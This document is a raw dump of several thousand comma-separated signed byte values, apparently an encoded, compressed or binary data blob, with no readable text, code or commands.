-113, -61, -91, -61, -127, 92, 3, 44, 98, -62, -110, -62, -84, -62, -97, -62, -90, -61, -98, -62, -93, -61, -102, 79, 93, -61, -78, 51, -61, -102, 13, -61, -117, 73, -62, -96, -62, -119, 31, -61, -67, -61, -87, 67, -62, -95, -62, -117, 23, -62, -104, 109, 6, 27, 100, -62, -70, 113, 127, 53, 65, 60, 17, 65, 91, -61, -102, -62, -88, -64, -128, 28, 90, -62, -76, -61, -94, 83, 41, -61, -66, 107, -61, -89, -62, -91, 82, 48, -62, -67, 127, 72, 20, 78, 32, 100, -61, -71, -62, -110, 111, 88, -61, -124, -61, -73, -61, -126, 14, 37, -62, -115, -62, -95, -62, -116, -61, -123, 90, -61, -83, -61, -85, -62, -71, 95, 54, 59, -61, -116, 107, -61, -117, 102, 72, -62, -84, -61, -122, 120, 71, 106, 92, -61, -86, -62, -78, -62, -101, -64, -128, -62, -85, 26, 111, -62, -65, 63, -62, -92, -62, -94, -61, -92, -62, -69, -62, -115, -62, -86, -62, -106, -61, -111, -61, -87, 109, 62, -61, -73, 80, -61, -92, 106, -61, -115, 104, -61, -71, 66, -62, -74, -62, -78, 50, 92, 127, -61, -92, 98, -62, -69, 98, -61, -71, 66, 71, -62, -93, 37, 80, -62, -72, -62, -76, -62, -95, -61, -80, 7, 46, 52, 119, -61, -90, -61, -116, 47, -61, -108, -62, -94, 40, -62, -70, 70, -62, -123, 17, 73, -61, -67, -62, -81, -61, -89, 64, 90, -62, -114, 5, -61, -67, -61, -71, -62, -115, 87, 71, 97, 19, 86, -62, -128, -61, -69, 116, 91, 78, -61, -81, -62, -97, 41, -62, -75, 69, -62, -94, 27, 23, 101, 119, 32, -62, -69, -61, -79, -61, -108, 18, -62, -89, 24, -62, -91, 53, 92, -61, -78, -62, -112, 38, 93, -61, -121, 31, -62, -86, 107, 119, 116, 88, -62, -98, 1, 124, -61, -124, -62, -121, 89, 121, -61, -95, -62, -101, -61, -94, -61, -114, -61, -67, 71, 122, 31, -61, -88, 81, -61, -97, -61, -76, 127, 119, -62, -91, -61, -94, -62, -78, -61, -94, -61, -66, 27, -61, -113, 111, -61, -94, 20, -61, -99, 64, -62, -71, 87, 74, 25, -62, -102, 111, 97, -62, -104, -62, -78, 69, 65, 20, -61, -122, -62, -82, 90, 32, -62, -81, 78, -62, -80, 56, 55, -62, -69, 47, 41, 115, -61, -76, -61, -76, 119, -61, -98, -61, -114, 66, -62, -96, 90, -61, -111, 33, -61, -88, -61, -79, -62, -122, 123, 4, 110, -61, -112, 116, -61, -77, 37, 9, -61, -118, -61, -78, 81, -61, -106, 88, -61, -104, 126, 88, -62, -69, 30, 70, 95, 114, -61, -119, -62, -103, -61, -77, 62, 122, -61, -104, 75, -61, -81, 39, 45, -61, -90, -62, -85, 58, -61, -84, 68, -61, -76, 37, -62, -86, 105, -62, -92, -61, -85, 11, -62, -96, -61, -107, -61, -79, 15, -62, -111, 17, 61, -62, -77, -61, -66, -61, -108, -62, -118, -62, -83, 11, 77, -62, -84, -62, -76, 36, 9, 8, 11, 48, 74, -61, -95, 48, 65, -61, -87, 92, 36, -61, -110, -61, -112, 99, 95, -62, -103, -61, -120, 24, 116, 78, 43, -62, -67, 109, -61, -116, 63, 16, -62, -105, -62, -97, -62, -72, -61, -81, 105, 44, -62, -109, -61, -124, 19, 74, 88, -62, -66, 48, -62, -125, 17, -61, -98, 70, 10, 107, 15, -61, -78, 94, 114, 23, 53, -61, -69, -61, -110, -61, -94, -62, -76, 127, 64, -62, -67, 3, -62, -89, 29, 16, -62, -127, -62, -76, -61, -124, 22, 93, -62, -70, -61, -79, -64, -128, 61, -62, -117, 106, -61, -100, 21, 126, 91, -62, -73, -62, -66, 108, 60, 124, -61, -87, -61, -95, 45, 78, -62, -66, -62, -113, 21, 76, 127, 13, 64, -62, -128, -61, -104, 39, 40, -62, -106, 122, 74, -61, -83, 101, -64, -128, 99, 80, 106, -62, -65, -62, -93, -62, -75, -62, -103, 105, 103, -62, -70, -62, -70, -61, -126, -61, -88, 22, -62, -116, 54, -61, -127, 85, 66, 89, 4, 36, 51, 4, 15, -62, -65, -61, -91, -62, -66, -61, -98, 119, 110, 25, -62, -84, 102, 52, -62, -98, 3, 4, -61, -87, 19, -61, -122, 77, 92, 102, -61, -108, 99, -62, -94, -62, -66, 111, -62, -66, 96, 104, -61, -96, -61, -77, 39, 68, -61, -101, -61, -79, 43, -61, -116, 58, 60, 101, -61, -82, -62, -75, 92, -61, -70, 43, -62, -126, -61, -80, -62, -105, 9, 72, -62, -99, -62, -84, -62, -118, 101, 89, 82, 26, -62, -110, 90, -62, -74, 43, 50, 117, 48, 93, 26, 6, -61, -104, -61, -96, -61, -114, 9, -61, -112, -62, -114, -61, -74, 50, -62, -118, -62, -125, -62, -93, 47, 105, 55, -61, -96, -62, -65, -61, -124, 55, 9, 35, 114, 81, -62, -120, -61, -97, 58, -61, -71, 81, 110, 35, 65, 77, -61, -80, -61, -121, -61, -69, 108, -61, -127, 98, 9, 95, -61, -117, -61, -86, -62, -119, 33, 126, -61, -98, -61, -95, -62, -128, 11, 51, -62, -116, 31, -61, -67, -62, -123, -61, -125, 75, -61, -81, -61, -87, 83, -62, -109, 28, 23, -61, -115, -61, -120, 54, 20, 9, -62, -77, -62, -91, 7, 126, 117, -61, -87, -62, -90, 44, 91, -61, -123, 29, -61, -121, 24, 3, 78, -62, -115, 19, -61, -102, 110, -61, -67, 103, -62, -114, 39, 61, 41, -62, -106, -61, -94, -62, -71, 108, 16, -61, -109, -61, -102, 87, 96, 49, -62, -104, 28, 58, 105, 114, -62, -122, 7, -62, -76, -62, -123, -61, -71, 121, -61, -110, -62, -103, 53, -62, -120, 31, -62, -113, 42, -62, -110, 113, -61, -77, 88, -62, -125, 116, 120, 56, 23, 39, 108, -62, -103, -61, -89, 124, -61, -87, 10, -62, -65, -61, -93, -62, -85, -61, -127, -61, -99, -61, -121, -62, -100, -61, -105, 10, 22, 70, 103, 91, 118, -61, -67, 82, -62, -123, -61, -90, 32, -61, -103, -61, -123, 104, -61, -128, -62, -108, 38, -61, -94, -61, -124, 22, -61, -85, 77, -62, -114, -62, -75, 113, 5, -62, -74, 73, 105, 49, 119, -62, -105, -61, -72, -62, -126, -61, -109, -62, -119, -61, -97, -61, -97, 54, -62, -101, -61, -80, 30, 74, 86, -62, -83, 109, 57, -61, -103, 83, -61, -81, -61, -71, -62, -94, -61, -77, -61, -90, -62, -68, -61, -91, -61, -89, 118, -62, -101, 20, 111, -62, -81, 115, 67, 63, 37, -61, -103, 27, -62, -86, -62, -101, 71, 73, -61, -104, -61, -102, 2, -61, -80, 79, -62, -94, -62, -126, -61, -73, 98, -62, -80, -61, -98, -62, -72, 126, -62, -89, -62, -114, 9, -61, -77, 3, -62, -123, -61, -120, 91, 73, 25, 32, 28, 120, 51, 122, 56, -61, -98, -61, -91, -61, -85, 119, -61, -123, -62, -110, -61, -96, 73, 127, 21, -62, -92, -61, -101, -62, -103, 23, -62, -124, 17, 111, 84, 118, -61, -105, 55, 97, 63, 62, 63, -62, -80, -61, -116, -61, -74, -61, -84, 33, -62, -113, 40, -61, -73, 109, -62, -65, -61, -124, -61, -73, 118, 3, 34, -62, -107, 2, -62, -107, 18, -61, -105, 107, -62, -83, -61, -70, -62, -72, 97, 104, 107, 88, -62, -121, -62, -77, 23, -62, -93, -62, -69, -62, -70, 111, 82, 84, -61, -94, 10, -62, -90, 3, -62, -113, -62, -111, -62, -82, 100, 34, 38, -62, -124, 20, -61, -81, 6, -61, -124, -61, -97, -62, -123, -62, -125, 43, -62, -96, 99, -62, -112, -61, -126, 33, 95, 8, 56, 110, -62, -85, 23, -62, -90, -62, -105, 14, -62, -93, -61, -120, -61, -91, 115, 54, -62, -91, 35, 14, -62, -108, 70, 101, -62, -101, 76, 56, -61, -123, 125, 7, -62, -93, -62, -72, -61, -97, -61, -96, 33, -62, -95, 111, -62, -102, 107, -61, -101, -61, -75, -62, -110, -61, -70, 103, -62, -77, 107, -62, -83, 105, 25, 99, -64, -128, -62, -85, -61, -103, -62, -110, -61, -122, 1, -62, -78, -61, -96, 114, -62, -106, 25, 6, 109, -61, -71, 96, -62, -70, 49, -62, -74, -61, -75, -62, -66, -61, -92, -62, -78, 108, -61, -108, -62, -120, 68, 66, 65, 23, -62, -127, 50, 6, 117, -62, -69, 5, 59, -62, -98, 39, 20, 32, -61, -118, -62, -72, 22, -62, -127, -61, -119, -61, -70, 34, 36, -61, -86, 22, 36, 108, -62, -104, -61, -98, -61, -72, 27, -62, -95, -62, -69, 18, 13, 63, 110, 81, 72, -62, -120, 60, -62, -68, 21, 127, -62, -124, 11, -62, -73, 45, -62, -127, -61, -95, -62, -71, 92, 27, -61, -81, 98, -62, -126, 57, 11, -61, -76, 33, 38, -61, -92, -61, -92, 91, 80, -61, -119, -62, -95, 71, -61, -71, -61, -110, 9, -61, -120, 67, 72, 90, 75, -61, -85, 99, -61, -73, 107, -61, -123, 17, 23, -62, -71, -62, -116, -61, -98, -61, -118, 13, 99, -62, -96, -62, -90, -61, -71, 31, 100, -61, -88, -61, -86, 110, -62, -68, 84, -62, -78, 49, -61, -100, 113, 86, 7, -62, -119, 35, 74, -61, -116, -62, -107, 57, -62, -113, -62, -74, -62, -98, 42, 107, -61, -127, -62, -70, -61, -68, -61, -119, 21, -62, -92, -61, -67, 48, -62, -121, -62, -79, 69, -62, -92, -61, -124, 102, 127, 119, -61, -88, 60, 63, -62, -103, 80, 85, 31, 49, 64, 87, 7, 53, -61, -125, 97, -62, -71, 110, -61, -124, 40, -61, -83, 105, 69, -62, -75, -64, -128, -62, -116, 71, -62, -67, -61, -100, 37, -61, -76, 10, -62, -115, 45, 52, 25, 29, 27, -61, -114, -61, -88, -62, -112, 39, -62, -97, -61, -83, 63, 27, 14, 81, 16, 118, 6, -62, -93, 71, -61, -77, -61, -102, -62, -101, -62, -66, 44, -62, -112, 58, 89, -62, -95, 114, 60, 39, -61, -80, 51, -61, -66, -62, -98, 127, -61, -114, -62, -105, -62, -101, -62, -96, 90, -61, -118, -62, -95, 64, 116, 124, -61, -90, -61, -87, 14, 105, 110, 114, -61, -128, -61, -118, -61, -67, -61, -100, -61, -118, -62, -111, 26, -61, -74, -61, -84, 33, 8, -62, -69, 119, 14, -61, -84, 62, 15, 80, 85, 102, -62, -70, -62, -128, -62, -74, 105, -61, -83, -62, -90, 36, 77, 38, 51, -62, -68, 103, 120, 94, -61, -114, -61, -113, 101, -62, -108, 97, 21, 87, -62, -121, 37, 53, -62, -77, 63, -61, -120, -62, -73, 113, -62, -78, 68, 27, 119, -62, -93, 59, 55, -62, -83, 39, 40, -61, -87, 122, 38, 83, -61, -80, -62, -123, 4, -62, -78, -61, -81, 48, -61, -123, 24, 7, 46, -62, -103, 21, -61, -96, -61, -98, 73, 34, -62, -96, 97, -62, -119, -62, -94, -61, -80, 68, 119, -61, -103, -61, -78, 21, 91, -61, -93, 112, -62, -97, -61, -121, -62, -105, -62, -75, 42, -61, -105, -61, -99, -62, -91, -62, -83, 90, 107, -62, -66, 51, -62, -108, -61, -91, -62, -83, 114, 71, 55, 20, 39, 72, -61, -66, 126, -62, -83, -62, -65, -62, -116, 65, 16, -61, -124, 125, -61, -107, -62, -114, 126, 19, -62, -102, 68, 110, -61, -107, 13, 75, 20, 105, 86, -61, -74, 103, 95, 85, -61, -73, 20, -61, -92, -61, -104, 63, -62, -86, 99, 39, 115, 34, 63, 86, -61, -108, -61, -91, -61, -114, 114, -62, -128, 4, -62, -72, -62, -76, -62, -68, 80, -61, -110, 65, 66, -61, -81, 88, -61, -104, -62, -67, -61, -127, 7, 41, 20, -62, -122, 71, -62, -95, -61, -122, 5, 27, 97, 127, -61, -106, -61, -90, 68, 116, 12, 27, -62, -123, -61, -124, -62, -93, 38, -61, -123, -62, -111, 120, -61, -78, -62, -108, -62, -99, 107, -62, -89, -61, -93, 30, -61, -78, 93, 19, 83, -62, -111, 60, -61, -67, 10, 51, 94, 37, -62, -116, -61, -114, 10, -62, -79, -62, -124, 44, -62, -89, -62, -87, 55, 83, -62, -116, -62, -91, -61, -98, 124, -61, -111, 90, -61, -69, 68, 33, 25, -61, -121, -61, -126, 76, -61, -97, -62, -94, -61, -95, 13, 24, 2, 118, -62, -93, 11, -61, -66, 53, -61, -96, -62, -80, 32, -61, -78, -62, -118, 63, 46, -61, -103, -61, -127, 89, -62, -112, 25, 58, -62, -127, 83, 71, -61, -76, 20, -62, -107, -61, -96, 98, 68, 83, 120, -61, -116, -62, -71, 3, 95, -62, -77, 94, 89, 66, -61, -89, -61, -88, 63, -61, -87, -62, -91, -61, -105, 16, 21, 42, -61, -105, 121, -62, -71, -62, -128, -61, -105, -62, -117, 121, 93, 39, -62, -109, 60, 64, -62, -104, 63, 18, 64, 39, -62, -71, 63, -62, -114, 125, 26, 100, -61, -71, 27, -62, -86, 95, -61, -92, -62, -98, -61, -106, -62, -85, -62, -86, 44, -62, -119, -62, -96, 111, 16, 17, 101, 91, 67, 38, 20, 45, -61, -89, -61, -82, -61, -117, 51, -61, -77, -61, -115, -64, -128, 105, 99, 46, -64, -128, 39, 35, -61, -97, 22, 66, -61, -113, -62, -108, -62, -83, -62, -97, -61, -82, -61, -118, 57, 70, 118, 41, 68, -61, -125, -61, -114, -62, -82, 54, -62, -116, 20, 93, 91, 64, -61, -77, 93, 33, -62, -91, 82, -61, -69, -61, -86, 84, 92, 107, 23, 50, 115, 17, 86, 66, 76, -62, -90, 66, 102, -61, -102, -61, -86, -61, -67, -61, -122, -62, -87, 77, 77, -61, -112, 78, 72, 8, 102, 119, 22, -62, -128, -62, -102, 83, -62, -99, 120, -62, -100, 48, 99, -62, -79, 67, 14, -62, -119, 96, 29, -61, -115, -61, -65, 24, 77, -62, -79, -62, -67, -61, -91, -61, -80, 74, -62, -80, 60, -62, -99, -62, -104, 22, 38, 34, 123, 86, 37, 93, 35, 26, 93, -62, -94, -62, -97, 59, -61, -99, 110, 23, -62, -78, 23, -61, -110, -62, -110, -61, -127, 70, -61, -101, -62, -80, -61, -120, 96, 101, 34, -62, -66, 41, -61, -67, -62, -82, 15, 81, 18, 99, -62, -71, -62, -121, -62, -74, 96, -61, -110, 53, -61, -126, 114, -61, -96, -61, -100, 112, 65, 31, 123, -62, -114, 22, 7, -61, -128, -62, -119, -62, -77, 11, 93, -61, -88, -61, -92, -62, -119, 68, -62, -73, -61, -66, 74, -62, -86, -61, -95, -61, -118, -61, -117, -62, -90, -62, -76, 91, 29, 124, 121, -62, -96, -61, -96, 88, 80, -62, -121, -61, -114, 98, -62, -116, -62, -111, 90, 83, 19, 111, 25, 112, -62, -74, -62, -77, -64, -128, -61, -71, 86, 70, 107, -61, -107, -62, -119, 43, -61, -89, 11, -62, -113, 9, -61, -74, 80, -62, -67, 108, -62, -125, -62, -110, 8, 28, -61, -127, 18, -61, -113, -61, -92, -62, -86, 96, -61, -112, 72, 61, -61, -126, 112, 23, 82, 103, -62, -76, -61, -112, -62, -124, -61, -109, 107, -62, -102, 69, 54, 102, -61, -124, 101, -61, -125, 14, -62, -107, -62, -105, -61, -118, -62, -109, -62, -124, 121, -61, -122, -61, -112, 73, -62, -81, -61, -73, -61, -93, 8, -61, -119, 34, -62, -72, -62, -71, -62, -83, 97, -62, -111, -61, -115, 116, 9, 127, 20, 46, 85, -62, -90, 117, -62, -88, 29, 41, -62, -92, -62, -92, -61, -127, -62, -95, 127, 31, 105, -62, -94, -62, -84, -62, -118, -62, -84, -61, -84, 2, -62, -79, -62, -101, 93, 52, -61, -93, -62, -87, -62, -128, 117, -61, -104, -61, -95, -62, -96, 62, -62, -91, 103, 93, -61, -73, 43, 56, -61, -121, -61, -76, -62, -109, -62, -113, -62, -67, 121, 88, 25, -62, -120, -61, -120, -61, -110, -62, -91, -61, -81, 93, -61, -98, 106, 38, 58, 4, -62, -117, 96, -62, -99, 101, 44, -61, -121, -61, -95, -61, -72, -61, -105, -61, -105, 6, -62, -91, 49, 39, -61, -122, 3, 45, -62, -87, 30, -61, -65, 19, 9, -62, -121, -62, -92, -61, -122, -61, -84, 103, -61, -89, -62, -84, -62, -74, -62, -105, -61, -67, -61, -67, -62, -118, 4, -61, -112, 91, -62, -126, -61, -84, -62, -126, 39, 16, 121, 106, -62, -88, 29, -61, -126, -61, -94, -61, -108, 8, -61, -67, -62, -122, -61, -113, 91, -61, -67, -61, -119, -62, -90, -61, -102, 23, -62, -74, -61, -80, 58, 1, 77, -61, -94, -61, -94, -61, -70, 16, 13, -62, -126, -61, -107, -61, -91, 8, -61, -102, -61, -127, -62, -116, 89, -62, -97, 113, -61, -103, -62, -100, -61, -98, -61, -77, -62, -105, 47, 53, 122, -61, -65, -62, -92, 112, 53, 103, -62, -115, -62, -108, -61, -128, -62, -125, 41, 100, 68, -62, -106, -61, -79, -61, -86, 6, -62, -81, -61, -84, 116, 95, 72, 49, -62, -86, 42, 58, -61, -77, -61, -128, 29, -61, -116, -61, -127, 45, -62, -66, 127, -62, -87, 125, 7, 114, -61, -91, 125, -62, -74, 90, 48, -62, -89, 66, 75, -62, -86, 112, 123, 67, 89, 67, 40, -61, -105, 78, -62, -74, 125, 29, -62, -127, -61, -117, 106, 90, -61, -123, -61, -116, -61, -125, 105, -62, -73, 6, -61, -78, 119, 96, -62, -123, -62, -93, 86, 69, -61, -117, 16, -62, -80, 74, 26, -61, -76, -61, -77, -62, -91, -61, -67, -62, -82, 118, 11, -61, -76, 77, -62, -71, 75, 64, 24, 11, -61, -89, -62, -115, -62, -100, 125, -62, -72, -61, -103, 34, 100, -62, -87, 30, -62, -127, 74, 21, -62, -114, -61, -81, -61, -101, -62, -125, -62, -69, -62, -98, -61, -67, -61, -83, -62, -115, 19, -62, -120, -62, -111, 106, -62, -94, -61, -68, -61, -82, 2, -62, -67, 93, 99, 94, -62, -71, -61, -87, -61, -122, -62, -117, 126, 52, -62, -86, 82, -61, -117, 102, 42, 95, -61, -112, 86, -61, -90, -62, -104, -61, -78, 84, 16, 72, -62, -94, 50, 86, -62, -93, -62, -81, 119, -61, -96, 101, -61, -82, 74, 36, -62, -99, 106, -61, -106, 105, -61, -97, -62, -69, 74, -61, -78, -62, -125, -61, -110, 17, -62, -107, -62, -87, -61, -72, -62, -116, -62, -65, -62, -67, 34, -62, -113, -61, -67, -61, -90, 31, 47, -62, -91, -62, -79, -61, -100, 65, -61, -100, -61, -90, 100, -61, -105, 107, -62, -79, -62, -122, -61, -74, 95, -62, -122, -62, -124, 114, -62, -111, 18, -62, -98, 29, 8, -62, -116, -62, -72, -62, -128, 76, 50, 83, -61, -116, 92, -62, -96, -61, -100, -62, -82, 79, 9, 93, 89, -62, -98, -64, -128, 66, -62, -113, 98, 55, 11, 36, 126, -61, -98, -61, -76, -62, -65, 115, -61, -103, 118, -62, -111, -61, -125, 85, -61, -81, 25, -62, -99, -61, -70, -61, -75, 26, 54, 84, -62, -119, 21, -61, -109, 85, -61, -109, -62, -80, 79, 88, -61, -114, 41, -62, -110, -62, -95, -64, -128, 42, -61, -115, -62, -126, -61, -128, 29, -62, -67, 36, 25, -61, -72, 32, -61, -94, 62, -61, -100, -64, -128, -62, -66, -61, -111, -61, -75, 60, 22, 7, -61, -119, -61, -74, 8, 92, 8, -61, -74, -61, -65, 112, 90, 61, 80, 65, -61, -119, -61, -104, 11, 51, -62, -67, -62, -109, 37, 84, 125, 43, 14, 31, -61, -128, -62, -127, -61, -113, 92, 20, -62, -108, 108, -62, -86, -62, -90, -62, -122, 68, -61, -109, -61, -123, -61, -82, -61, -84, 57, -62, -112, -62, -107, -62, -102, 106, -62, -110, -62, -102, -61, -98, 19, 65, -61, -77, -61, -93, 42, 60, 75, 105, -62, -75, 19, -61, -86, 6, -61, -74, 73, -61, -69, -61, -73, -62, -98, -62, -92, 48, 8, -61, -121, -62, -116, 19, 59, 36, 89, 58, -61, -105, -62, -76, 101, 43, -61, -86, 61, -61, -89, 117, -62, -76, 52, -61, -114, -61, -107, 58, -62, -127, -62, -85, -61, -90, -62, -105, 59, 60, 60, 2, -62, -98, 116, -61, -74, 94, -61, -79, 51, -62, -115, 70, -62, -100, 62, 122, -61, -74, -61, -70, -61, -85, -61, -124, 122, 26, -61, -84, -62, -69, 127, 27, -62, -86, -62, -89, -62, -67, 5, -62, -106, 19, -61, -99, -61, -109, -61, -116, -64, -128, -61, -91, -61, -128, 116, 46, 29, -61, -99, -61, -104, -61, -96, 45, 2, -61, -117, -61, -106, 3, -62, -116, 87, -61, -111, 71, -62, -85, -61, -126, -61, -107, 103, 32, -62, -74, -61, -126, -62, -120, -61, -83, -61, -126, 99, -61, -95, 110, 82, -62, -115, -62, -104, 111, 113, -62, -77, 106, 36, 76, 58, 21, 29, 8, 18, -62, -122, 81, 31, -62, -70, 127, 38, -61, -94, -62, -76, 28, -61, -108, -62, -83, 107, 86, -61, -88, 104, 23, 116, -62, -100, 40, 116, 127, -62, -77, -61, -92, -61, -97, 70, 120, 73, 29, -61, -127, -61, -85, -62, -123, -61, -98, 46, -61, -93, -62, -105, -61, -100, 72, 117, 69, 94, 52, 30, -62, -126, 29, 74, -62, -99, 79, 93, 78, -61, -90, -62, -65, 29, 108, 117, 116, -62, -119, 2, -62, -116, -62, -67, -61, -112, -62, -83, -62, -83, -61, -94, -62, -112, -62, -88, -61, -100, -61, -74, -61, -102, -61, -100, 81, -61, -65, -62, -98, 12, 2, 93, 83, -62, -97, 13, -61, -69, 112, 74, -61, -117, -62, -66, -62, -122, 107, 31, 113, 115, -61, -69, 88, 20, 103, -61, -124, 40, -62, -80, -61, -104, -62, -110, 39, 69, -62, -67, -61, -97, -62, -124, 121, 110, -61, -120, -61, -67, 9, 46, -61, -108, -61, -112, -61, -102, -61, -90, 91, 30, 80, -61, -88, -61, -121, -61, -116, 44, 100, -61, -97, -61, -80, 64, -62, -100, -62, -119, 126, -61, -119, -61, -82, -61, -114, 74, 7, 12, -61, -68, -61, -98, -62, -100, -61, -81, 36, -62, -104, 102, 30, 18, -61, -87, -62, -103, -62, -93, -61, -85, -62, -108, 91, 98, 92, -61, -113, -62, -119, -61, -82, -62, -82, 30, 108, 102, -62, -75, 123, 83, 38, 4, -62, -87, -62, -112, -62, -109, 105, 67, -61, -107, -61, -113, 110, 44, 35, 77, -62, -83, 107, 45, 122, -61, -113, 103, 108, 98, -61, -72, 17, 67, -61, -101, -61, -121, 127, 73, -62, -105, -61, -104, 33, 110, 71, -62, -79, 23, -61, -96, -61, -77, 18, 39, -62, -110, 63, -62, -84, 88, 110, -61, -66, -62, -110, -62, -118, 21, 125, 7, -62, -128, -61, -89, 8, 89, 127, -61, -79, -62, -117, 48, -62, -105, 83, 100, 57, 6, 73, 19, 87, -61, -127, 13, 69, 53, 107, -62, -105, -62, -109, 89, -62, -103, -61, -66, -61, -79, -62, -74, -62, -126, 58, -62, -69, 111, 74, -61, -116, 23, -62, -111, -61, -94, -62, -78, -61, -108, -62, -82, 107, -61, -98, -62, -112, 8, -61, -80, -61, -101, -61, -79, 109, 120, 47, -62, -103, 90, 20, -62, -116, -62, -103, 86, 106, 13, -62, -128, -61, -88, -62, -101, 127, 48, -62, -123, 48, -62, -98, 65, -62, -109, -61, -72, -61, -101, 6, -61, -66, 125, 4, 90, -61, -80, -62, -83, -61, -71, -62, -116, -62, -122, 121, -61, -99, 13, 36, 96, 43, -62, -124, 97, -64, -128, 73, 5, -62, -89, 21, -62, -123, -61, -70, 78, -61, -126, -62, -92, -62, -81, 62, 39, 6, 70, 51, -62, -79, -62, -69, -61, -88, 89, -61, -108, -61, -125, -61, -79, -61, -85, -62, -82, 94, -61, -68, 19, -62, -122, -61, -85, -62, -72, 66, -61, -95, 54, 8, -61, -72, -62, -106, 60, 35, 92, 12, -62, -95, 11, 66, -62, -80, 42, -61, -119, 35, -61, -86, -61, -72, 51, -62, -80, 116, 64, -61, -124, 23, 28, 102, -62, -91, -61, -102, -61, -79, 9, 123, -62, -114, -61, -77, 122, -61, -122, -61, -127, -61, -125, 123, 100, -62, -81, -61, -94, 107, 58, 17, 68, 5, 76, -61, -89, -61, -110, 75, -62, -115, 61, -62, -81, -62, -94, 45, 52, 88, -61, -80, -62, -81, -62, -68, 4, -61, -83, 118, 58, 79, 127, 112, 89, -62, -122, -61, -123, -61, -109, 46, -61, -85, -62, -87, 38, 109, -61, -81, 113, 82, 5, -61, -71, -62, -121, 100, 33, -61, -79, -62, -93, -61, -95, 65, -62, -125, 114, -62, -102, 40, -61, -78, 54, -61, -108, 29, -61, -75, 51, 119, 124, 26, 67, -61, -95, -61, -108, 117, 66, 58, -62, -106, 26, 111, -62, -110, 118, -62, -76, -62, -95, 123, 105, 18, -61, -82, -61, -91, -62, -128, 42, -62, -112, 82, -61, -75, 117, -62, -120, 102, -62, -115, -61, -97, -62, -75, -62, -126, 7, -61, -117, -61, -128, -61, -87, -61, -79, 41, -62, -125, -62, -71, 24, -62, -89, -62, -106, -62, -74, -62, -83, 5, 5, -62, -79, -64, -128, 52, 94, 32, 91, 28, 80, 56, 78, -61, -114, -61, -107, -61, -116, -62, -117, -62, -128, -62, -65, 22, -61, -97, -61, -113, -62, -74, 7, -62, -72, 42, 122, -61, -95, -61, -120, -61, -91, -61, -108, 18, 96, 100, -61, -86, -62, -87, -62, -95, -62, -82, 102, 40, 118, -62, -84, -62, -111, -61, -83, -62, -123, 101, 74, -62, -65, -61, -75, -61, -88, 66, -62, -83, 8, -62, -126, -61, -75, -62, -112, 84, 9, -62, -71, -61, -108, 22, -61, -101, -61, -91, 115, -62, -114, 78, -62, -92, 71, 15, 39, -62, -120, 11, 102, -61, -123, -61, -78, 84, -61, -100, 93, 84, 52, -62, -107, -62, -67, -61, -84, 73, 19, -61, -100, 87, -61, -75, 101, -62, -108, -61, -90, 126, -61, -125, 80, -61, -92, 44, -61, -121, 68, -62, -89, -61, -78, 30, 92, 93, 18, -62, -70, 73, 1, 105, -62, -109, 77, -61, -85, -61, -108, -61, -78, -62, -111, 15, -61, -90, 27, 17, -61, -86, -61, -107, 86, 56, -61, -82, 32, -62, -115, 53, -62, -95, -61, -125, 17, 53, 60, -61, -109, 66, 114, -62, -124, -62, -127, 27, -61, -90, 10, 48, 109, -62, -110, -62, -85, -61, -108, -62, -97, -61, -80, 48, 3, -62, -72, -62, -98, 116, -61, -83, -62, -107, 104, -62, -121, -62, -99, 2, 39, -61, -111, 16, -62, -115, -61, -126, 42, -62, -81, 76, -61, -74, -61, -117, 118, -62, -116, 73, 30, 32, 85, -62, -128, -61, -98, 94, -61, -103, -62, -79, 53, -64, -128, -61, -71, -61, -101, 110, 37, -61, -115, -62, -88, -62, -88, 28, 94, 57, 22, -61, -117, -61, -114, 59, -61, -82, 116, -62, -110, 85, -61, -65, 84, -61, -103, 35, 126, 94, -62, -99, 124, -62, -122, -61, -125, -62, -89, -61, -104, 41, -62, -102, -62, -102, -61, -86, 41, -61, -76, -62, -107, -62, -126, 96, -61, -89, -62, -126, 118, 108, -62, -96, -61, -80, -61, -78, 8, 119, -61, -74, -62, -100, 101, 115, 40, -61, -77, 29, -61, -121, 116, -61, -71, -61, -86, -61, -69, -61, -78, -62, -127, 84, 62, -62, -94, -62, -69, -61, -77, -62, -100, 42, 16, 58, -62, -74, 30, 2, -62, -106, -62, -119, -62, -86, -61, -80, 51, -61, -115, 25, 85, 33, 109, -61, -123, -62, -111, -61, -121, -61, -106, -62, -74, -61, -115, -61, -98, -62, -85, -61, -91, -61, -78, -62, -67, 53, 126, 97, 57, 83, -62, -68, -61, -121, -61, -125, 98, -61, -109, 71, -62, -121, -62, -99, -61, -73, -62, -96, -61, -96, -61, -115, -61, -86, -61, -115, -62, -122, 46, 110, -62, -70, -62, -72, -61, -102, -61, -123, -61, -91, -61, -94, -61, -104, -62, -93, -62, -118, 30, -61, -68, 117, 127, 53, -61, -65, 87, -62, -89, 110, -61, -127, -62, -67, -62, -109, -61, -120, 31, -61, -86, 121, 49, -61, -99, -61, -92, 4, 67, 65, -62, -126, 94, -62, -112, -62, -67, -62, -79, -62, -86, -62, -123, 16, -61, -110, -62, -79, -62, -118, 1, -62, -113, 106, 127, -61, -127, 125, 25, -62, -108, 2, 2, 56, -61, -97, -61, -79, 89, 83, 20, 47, 74, -61, -73, 12, 125, -61, -121, 5, -61, -110, 33, -62, -117, 21, 48, -61, -82, 76, -62, -120, 12, 106, -62, -89, -62, -115, 66, -61, -82, -62, -72, 19, 20, -61, -84, 38, -61, -122, -62, -92, -61, -125, -61, -109, 89, 23, -61, -104, 10, 73, 29, 75, 116, -62, -106, 110, -61, -127, 100, -61, -84, 42, -61, -105, -62, -72, -62, -117, -62, -109, -62, -87, 25, -61, -87, 49, -62, -82, -61, -70, -61, -81, 71, 69, -61, -98, 46, -61, -128, -62, -67, -62, -115, 101, -62, -113, 120, -62, -117, -62, -122, 16, -62, -108, -61, -126, -61, -123, -62, -67, 56, -62, -125, -61, -71, 109, 54, 56, -61, -86, -61, -123, -61, -106, 76, -61, -69, -61, -111, -62, -102, -61, -106, 55, 89, 32, 30, -62, -86, -61, -65, -61, -109, 3, -62, -93, -62, -67, -61, -128, 116, -61, -109, 48, 87, -61, -106, 111, -62, -107, -62, -111, -62, -102, -62, -110, -61, -102, -62, -98, 55, 2, -61, -100, -61, -78, 14, -62, -91, -62, -94, 23, -62, -105, 36, -61, -99, 127, 74, -62, -83, -61, -83, -62, -83, -62, -90, -61, -121, 52, 123, -61, -82, -61, -106, -61, -104, 89, -62, -91, -61, -69, -61, -89, -62, -73, -61, -117, -62, -103, 106, -61, -67, -61, -124, -61, -120, 57, 2, -62, -98, -61, -80, -61, -98, -62, -100, -61, -114, 126, 1, -61, -120, -61, -128, 84, -62, -121, 79, -62, -86, 124, 